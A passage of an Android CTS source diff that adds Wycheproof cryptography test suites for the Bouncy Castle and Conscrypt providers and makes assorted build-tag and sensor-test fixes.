+        <option name="test-package" value="android.libcore.cts.wycheproof" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="10m"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
new file mode 100644
index 0000000..d6ab5c1
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleSupportProvider.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import java.security.Provider;
+
+/**
+ * Provides a small number of exports to allow Bouncy Castle tests to function properly.
+ * Our modified version of Bouncy Castle depends on Conscrypt for a few pieces of
+ * functionality, but in tests we don't want to have Conscrypt installed so that we can test
+ * Bouncy Castle properly.  We install this provider instead.
+ */
+public class BouncyCastleSupportProvider extends Provider {
+
+    // The classes are jarjared, so this is the prefix in practice.
+    private static final String PREFIX = "com.android.org.conscrypt.";
+
+    public BouncyCastleSupportProvider() {
+        // Our modified version of Bouncy Castle specifically expects certain algorithms
+        // to be provided by a provider named "AndroidOpenSSL", so we use that name
+        super("AndroidOpenSSL", 0.0,
+                "Provides algorithms that Bouncy Castle needs to work in tests");
+
+        // Conscrypt is the only SecureRandom implementation
+        put("SecureRandom.SHA1PRNG", PREFIX + "OpenSSLRandom");
+
+        // Bouncy Castle's MACs are backed by Conscrypt's MessageDigests
+        put("MessageDigest.SHA-1", PREFIX + "OpenSSLMessageDigestJDK$SHA1");
+        put("MessageDigest.SHA-224", PREFIX + "OpenSSLMessageDigestJDK$SHA224");
+        put("MessageDigest.SHA-256", PREFIX + "OpenSSLMessageDigestJDK$SHA256");
+        put("MessageDigest.SHA-384", PREFIX + "OpenSSLMessageDigestJDK$SHA384");
+        put("MessageDigest.SHA-512", PREFIX + "OpenSSLMessageDigestJDK$SHA512");
+    }
+}
diff --git a/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
new file mode 100644
index 0000000..dfb71e8
--- /dev/null
+++ b/tests/libcore/wycheproof-bc/src/android/libcore/cts/wycheproof/BouncyCastleTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.bouncycastle.jce.provider.BouncyCastleProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.DhTest;
+import com.google.security.wycheproof.DhiesTest;
+import com.google.security.wycheproof.DsaTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Bouncy Castle provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+        AesGcmTest.class,
+        BasicTest.class,
+        CipherInputStreamTest.class,
+        CipherOutputStreamTest.class,
+        DhTest.class,
+        DhiesTest.class,
+        DsaTest.class,
+        EcKeyTest.class,
+        EcdhTest.class,
+        EcdsaTest.class,
+        RsaEncryptionTest.class,
+        RsaKeyTest.class,
+        RsaSignatureTest.class,
+})
+@Provider(ProviderType.BOUNCY_CASTLE)
+@Fast
+public final class BouncyCastleTest {
+
+    private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+    @BeforeClass
+    public static void setUp() throws Exception {
+        previousProviders.clear();
+        previousProviders.addAll(Arrays.asList(Security.getProviders()));
+        TestUtil.installOnlyThisProvider(new BouncyCastleProvider());
+        Security.addProvider(new BouncyCastleSupportProvider());
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        for (java.security.Provider p : Security.getProviders()) {
+            Security.removeProvider(p.getName());
+        }
+        for (java.security.Provider p : previousProviders) {
+            Security.addProvider(p);
+        }
+    }
+}
diff --git a/tests/libcore/wycheproof/Android.mk b/tests/libcore/wycheproof/Android.mk
new file mode 100644
index 0000000..4d5ccf2
--- /dev/null
+++ b/tests/libcore/wycheproof/Android.mk
@@ -0,0 +1,49 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsLibcoreWycheproofConscryptTestCases
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-core-test-runner \
+    wycheproof
+
+LOCAL_JAVA_LIBRARIES := conscrypt
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under,src)
+
+LOCAL_DEX_PREOPT := false
+LOCAL_JACK_FLAGS := --multi-dex native
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+# Include both the 32 and 64 bit versions of libjavacoretests,
+# where applicable.
+LOCAL_MULTILIB := both
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_JAVA_RESOURCE_FILES := libcore/expectations/knownfailures.txt
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/vm-tests-tf/AndroidManifest.xml b/tests/libcore/wycheproof/AndroidManifest.xml
similarity index 69%
rename from tests/vm-tests-tf/AndroidManifest.xml
rename to tests/libcore/wycheproof/AndroidManifest.xml
index 2a2f40a..765c677 100644
--- a/tests/vm-tests-tf/AndroidManifest.xml
+++ b/tests/libcore/wycheproof/AndroidManifest.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
- * Copyright (C) 2007 The Android Open Source Project
+ * Copyright (C) 2017 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -15,15 +15,14 @@
  * limitations under the License.
  -->
 
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.vm-tests-tf">
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="android.libcore.cts.wycheproof.conscrypt">
     <uses-permission android:name="android.permission.INTERNET" />
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.test.InstrumentationCoreTestRunner"
-                     android:targetPackage="android.core.vm-tests-tf"
-                     android:label="cts trade federation vm tests"/>
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.libcore.cts.wycheproof.conscrypt"
+                     android:label="CTS Libcore Wycheproof Conscrypt test cases" />
 
 </manifest>
diff --git a/tests/libcore/wycheproof/AndroidTest.xml b/tests/libcore/wycheproof/AndroidTest.xml
new file mode 100644
index 0000000..b5874fd
--- /dev/null
+++ b/tests/libcore/wycheproof/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Libcore Wycheproof Conscrypt test cases">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!-- this has just the instrumentation which acts as the tests we want to run -->
+        <option name="test-file-name" value="CtsLibcoreWycheproofConscryptTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.testtype.LibcoreTest" >
+        <option name="package" value="android.libcore.cts.wycheproof.conscrypt" />
+        <!-- The individual test cases don't work unless they're run in the
+             context of one of the suites, so we have to limit the test
+             infrastructure to only running the test suites. -->
+        <option name="test-package" value="android.libcore.cts.wycheproof" />
+        <option name="instrumentation-arg" key="listener"
+                value="com.android.cts.runner.CtsTestRunListener" />
+        <option name="instrumentation-arg" key="filter"
+                value="com.android.cts.core.runner.ExpectationBasedFilter" />
+        <option name="core-expectation" value="/knownfailures.txt" />
+        <option name="runtime-hint" value="10m"/>
+    </test>
+</configuration>
diff --git a/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
new file mode 100644
index 0000000..bee62fa
--- /dev/null
+++ b/tests/libcore/wycheproof/src/android/libcore/cts/wycheproof/ConscryptTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.libcore.cts.wycheproof;
+
+import com.android.org.conscrypt.OpenSSLProvider;
+import com.google.security.wycheproof.AesGcmTest;
+import com.google.security.wycheproof.BasicTest;
+import com.google.security.wycheproof.CipherInputStreamTest;
+import com.google.security.wycheproof.CipherOutputStreamTest;
+import com.google.security.wycheproof.EcKeyTest;
+import com.google.security.wycheproof.EcdhTest;
+import com.google.security.wycheproof.EcdsaTest;
+import com.google.security.wycheproof.RsaEncryptionTest;
+import com.google.security.wycheproof.RsaKeyTest;
+import com.google.security.wycheproof.RsaSignatureTest;
+import com.google.security.wycheproof.TestUtil;
+import com.google.security.wycheproof.WycheproofRunner;
+import com.google.security.wycheproof.WycheproofRunner.Fast;
+import com.google.security.wycheproof.WycheproofRunner.Provider;
+import com.google.security.wycheproof.WycheproofRunner.ProviderType;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.runner.RunWith;
+import org.junit.runners.Suite.SuiteClasses;
+
+import java.security.Security;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Checks that our Conscrypt provider properly implements all its functionality.
+ */
+@RunWith(WycheproofRunner.class)
+@SuiteClasses({
+        AesGcmTest.class,
+        BasicTest.class,
+        CipherInputStreamTest.class,
+        CipherOutputStreamTest.class,
+        EcKeyTest.class,
+        EcdhTest.class,
+        EcdsaTest.class,
+        RsaEncryptionTest.class,
+        RsaKeyTest.class,
+        RsaSignatureTest.class
+})
+@Provider(ProviderType.CONSCRYPT)
+@Fast
+public final class ConscryptTest {
+
+    private static final List<java.security.Provider> previousProviders = new ArrayList<>();
+
+    @BeforeClass
+    public static void setUp() throws Exception {
+        previousProviders.clear();
+        previousProviders.addAll(Arrays.asList(Security.getProviders()));
+        TestUtil.installOnlyThisProvider(new OpenSSLProvider());
+    }
+
+    @AfterClass
+    public static void tearDown() throws Exception {
+        for (java.security.Provider p : Security.getProviders()) {
+            Security.removeProvider(p.getName());
+        }
+        for (java.security.Provider p : previousProviders) {
+            Security.addProvider(p);
+        }
+    }
+}
diff --git a/tests/netlegacy22.api/Android.mk b/tests/netlegacy22.api/Android.mk
index 3fca098..836bd9b 100644
--- a/tests/netlegacy22.api/Android.mk
+++ b/tests/netlegacy22.api/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netlegacy22.api/AndroidTest.xml b/tests/netlegacy22.api/AndroidTest.xml
index 76b0174..bb26fc3f 100644
--- a/tests/netlegacy22.api/AndroidTest.xml
+++ b/tests/netlegacy22.api/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Legacy android.net APIs test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/netlegacy22.permission/Android.mk b/tests/netlegacy22.permission/Android.mk
index d21cd676..2f9221d 100644
--- a/tests/netlegacy22.permission/Android.mk
+++ b/tests/netlegacy22.permission/Android.mk
@@ -30,6 +30,6 @@
 LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
index 6b24a37..847d5ec 100644
--- a/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-false/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficFalse
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
index 9727959..95da495 100644
--- a/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-true/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficTrue
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
index 7a964cc..009b3fc 100644
--- a/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
+++ b/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_PACKAGE_NAME := CtsNetSecPolicyUsesCleartextTrafficUnspecified
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/tests/openglperf2/Android.mk b/tests/openglperf2/Android.mk
index f46c7d4..0a87b05 100644
--- a/tests/openglperf2/Android.mk
+++ b/tests/openglperf2/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_PACKAGE_NAME := CtsOpenGlPerf2TestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := 16
 
diff --git a/tests/openglperf2/jni/Android.mk b/tests/openglperf2/jni/Android.mk
index c2bb7a8..b1981ec 100644
--- a/tests/openglperf2/jni/Android.mk
+++ b/tests/openglperf2/jni/Android.mk
@@ -21,6 +21,8 @@
 # Needed in order to use fences for synchronization
 LOCAL_CFLAGS += -DEGL_EGLEXT_PROTOTYPES -funsigned-char
 
+LOCAL_CFLAGS += -Wall -Werror -Wno-unused-parameter
+
 # Get all cpp files but not hidden files
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 
diff --git a/tests/openglperf2/test/Android.mk b/tests/openglperf2/test/Android.mk
index a9ec558..0103e3f 100644
--- a/tests/openglperf2/test/Android.mk
+++ b/tests/openglperf2/test/Android.mk
@@ -18,6 +18,7 @@
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 LOCAL_SRC_FILES += ../jni/graphics/Matrix.cpp
 
+LOCAL_CFLAGS := -Wall -Werror
 LOCAL_C_INCLUDES += $(LOCAL_PATH)/../jni/graphics/
 LOCAL_STATIC_LIBRARIES := liblog
 LOCAL_LDFLAGS:= -g -lpthread
diff --git a/tests/pdf/Android.mk b/tests/pdf/Android.mk
index 1e4a1ca..3a7e2a0 100644
--- a/tests/pdf/Android.mk
+++ b/tests/pdf/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsPdfTestCases
 
diff --git a/tests/sample/Android.mk b/tests/sample/Android.mk
index 419faa5..fe790c7 100755
--- a/tests/sample/Android.mk
+++ b/tests/sample/Android.mk
@@ -25,12 +25,15 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    compatibility-device-util \
+    android-support-test \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSampleDeviceTestCases
 
diff --git a/tests/sensor/Android.mk b/tests/sensor/Android.mk
index 7b6dd32..0928579 100644
--- a/tests/sensor/Android.mk
+++ b/tests/sensor/Android.mk
@@ -32,7 +32,7 @@
 LOCAL_SDK_VERSION := current
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
 #
@@ -60,7 +60,7 @@
 LOCAL_SDK_VERSION := current
 
 LOCAL_NDK_STL_VARIANT := c++_shared
-
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_SHARED_LIBRARY)
 
 #
@@ -73,7 +73,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
diff --git a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
index cb4076c..1b2b25c 100644
--- a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
+++ b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
@@ -87,11 +87,11 @@
         runBatchingSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
     }
 
-    public void tesAccelUncalibrated_fastest_flush() throws Throwable {
+    public void testAccelUncalibrated_fastest_flush() throws Throwable {
         runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
     }
 
-    public void tesAccelUncalibrated_50hz_flush() throws Throwable {
+    public void testAccelUncalibrated_50hz_flush() throws Throwable {
         runFlushSensorTest(Sensor.TYPE_ACCELEROMETER_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
     }
 
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 62e7fe4..44135bc 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -177,7 +177,7 @@
         for (Sensor s : sensors) {
             int id = s.getId();
             if (id != 0) {
-                errors.add(String.format("sensor \"%s\" has id %d", s.getName(), s));
+                errors.add(String.format("sensor \"%s\" has id %d", s.getName(), id));
             }
         }
         if (errors.size() > 0) {
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index 11ead36..cf6039e 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -64,7 +64,6 @@
     private NullSensorEventListener mNullSensorEventListener;
     private Sensor mTriggerSensor;
     private List<Sensor> mSensorList;
-    private List<Sensor> mAndroidSensorList;
 
     @Override
     protected void setUp() throws Exception {
@@ -84,13 +83,6 @@
                     "Sensors are not available in the system.");
         }
 
-        mAndroidSensorList = new ArrayList<>();
-        for (Sensor s : mSensorList) {
-            if (s.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
-                mAndroidSensorList.add(s);
-            }
-        }
-
         mWakeLock.acquire();
     }
 
@@ -311,10 +303,12 @@
     //       verification is added to default verifications
     public void testSensorTimeStamps() throws Exception {
         ArrayList<Throwable> errorsFound = new ArrayList<>();
-        for (Sensor sensor : mAndroidSensorList) {
-            // test both continuous and batching mode sensors
-            verifyLongActivation(sensor, 0 /* maxReportLatencyUs */, errorsFound);
-            verifyLongActivation(sensor, (int) TimeUnit.SECONDS.toMicros(10), errorsFound);
+        for (Sensor sensor : mSensorList) {
+            if (sensor.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
+                // test both continuous and batching mode sensors
+                verifyLongActivation(sensor, 0 /* maxReportLatencyUs */, errorsFound);
+                verifyLongActivation(sensor, (int) TimeUnit.SECONDS.toMicros(10), errorsFound);
+            }
         }
         assertOnErrors(errorsFound);
     }
@@ -323,8 +317,10 @@
     public void testBatchAndFlush() throws Exception {
         SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
         ArrayList<Throwable> errorsFound = new ArrayList<>();
-        for (Sensor sensor : mAndroidSensorList) {
-            verifyRegisterListenerCallFlush(sensor, null /* handler */, errorsFound);
+        for (Sensor sensor : mSensorList) {
+            if (sensor.getType() < Sensor.TYPE_DEVICE_PRIVATE_BASE) {
+                verifyRegisterListenerCallFlush(sensor, null /* handler */, errorsFound);
+            }
         }
         assertOnErrors(errorsFound);
     }
@@ -335,7 +331,7 @@
     public void testBatchAndFlushWithHandler() throws Exception {
         SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
         Sensor sensor = null;
-        for (Sensor s : mAndroidSensorList) {
+        for (Sensor s : mSensorList) {
             if (s.getReportingMode() == Sensor.REPORTING_MODE_CONTINUOUS) {
                 sensor = s;
                 break;
@@ -371,7 +367,7 @@
     public void testBatchAndFlushUseDefaultHandler() throws Exception {
         SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
         Sensor sensor = null;
-        for (Sensor s : mAndroidSensorList) {
+        for (Sensor s : mSensorList) {
             if (s.getReportingMode() == Sensor.REPORTING_MODE_CONTINUOUS) {
                 sensor = s;
                 break;
@@ -406,7 +402,7 @@
         final int maxSensors = 3;
         final int maxReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(10);
         List<Sensor> sensorsToTest = new ArrayList<Sensor>();
-        for (Sensor sensor : mAndroidSensorList) {
+        for (Sensor sensor : mSensorList) {
             if (sensor.getReportingMode() == Sensor.REPORTING_MODE_CONTINUOUS) {
                 sensorsToTest.add(sensor);
                 if (sensorsToTest.size()  == maxSensors) break;
diff --git a/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
index 87a9a2e..6480f55 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/FrameworkUnitTests.java
@@ -23,6 +23,7 @@
 import android.hardware.cts.helpers.sensorverification.EventGapVerificationTest;
 import android.hardware.cts.helpers.sensorverification.EventOrderingVerificationTest;
 import android.hardware.cts.helpers.sensorverification.FrequencyVerificationTest;
+import android.hardware.cts.helpers.sensorverification.InitialValueVerificationTest;
 import android.hardware.cts.helpers.sensorverification.JitterVerificationTest;
 import android.hardware.cts.helpers.sensorverification.MagnitudeVerificationTest;
 import android.hardware.cts.helpers.sensorverification.MeanVerificationTest;
@@ -42,12 +43,13 @@
         addTestSuite(SensorStatsTest.class);
 
         // sensorverification
+        addTestSuite(EventGapVerificationTest.class);
         addTestSuite(EventOrderingVerificationTest.class);
         addTestSuite(FrequencyVerificationTest.class);
+        addTestSuite(InitialValueVerificationTest.class);
         addTestSuite(JitterVerificationTest.class);
         addTestSuite(MagnitudeVerificationTest.class);
         addTestSuite(MeanVerificationTest.class);
-        addTestSuite(EventGapVerificationTest.class);
         addTestSuite(StandardDeviationVerificationTest.class);
         addTestSuite(TimestampClockSourceVerificationTest.class);
 
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index db9c5a5..bbe2006 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -228,6 +228,30 @@
     }
 
     /**
+     * Format an array of floats.
+     *
+     * @param array the array of floats
+     *
+     * @return The formatted string
+     */
+    public static String formatFloatArray(float[] array) {
+        StringBuilder sb = new StringBuilder();
+        if (array.length > 1) {
+            sb.append("(");
+        }
+        for (int i = 0; i < array.length; i++) {
+            sb.append(String.format("%.2f", array[i]));
+            if (i != array.length - 1) {
+                sb.append(", ");
+            }
+        }
+        if (array.length > 1) {
+            sb.append(")");
+        }
+        return sb.toString();
+    }
+
+    /**
      * @return A {@link File} representing a root directory to store sensor tests data.
      */
     public static File getSensorTestDataDirectory() throws IOException {
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
index bc3db99..3892366 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorStats.java
@@ -64,6 +64,8 @@
     public static final String STANDARD_DEVIATION_KEY = "standard_deviation";
     public static final String MAGNITUDE_KEY = "magnitude";
     public static final String DELAYED_BATCH_DELIVERY = "delayed_batch_delivery";
+    public static final String INITIAL_MEAN_KEY = "initial_mean";
+    public static final String LATER_MEAN_KEY = "later_mean";
 
     private final Map<String, Object> mValues = new HashMap<>();
     private final Map<String, SensorStats> mSensorStats = new HashMap<>();
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
index 30da9a0..abfa692 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/SensorOperationTest.java
@@ -59,7 +59,7 @@
         op = new FakeSensorOperation(true, 0, TimeUnit.MILLISECONDS);
         try {
             op.execute(mTestNode);
-            fail("AssertionError expected");
+            throw new Error("AssertionError expected");
         } catch (AssertionError e) {
             // Expected
         }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java b/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
index 8201861..ad2084d 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/sensoroperations/TestSensorOperation.java
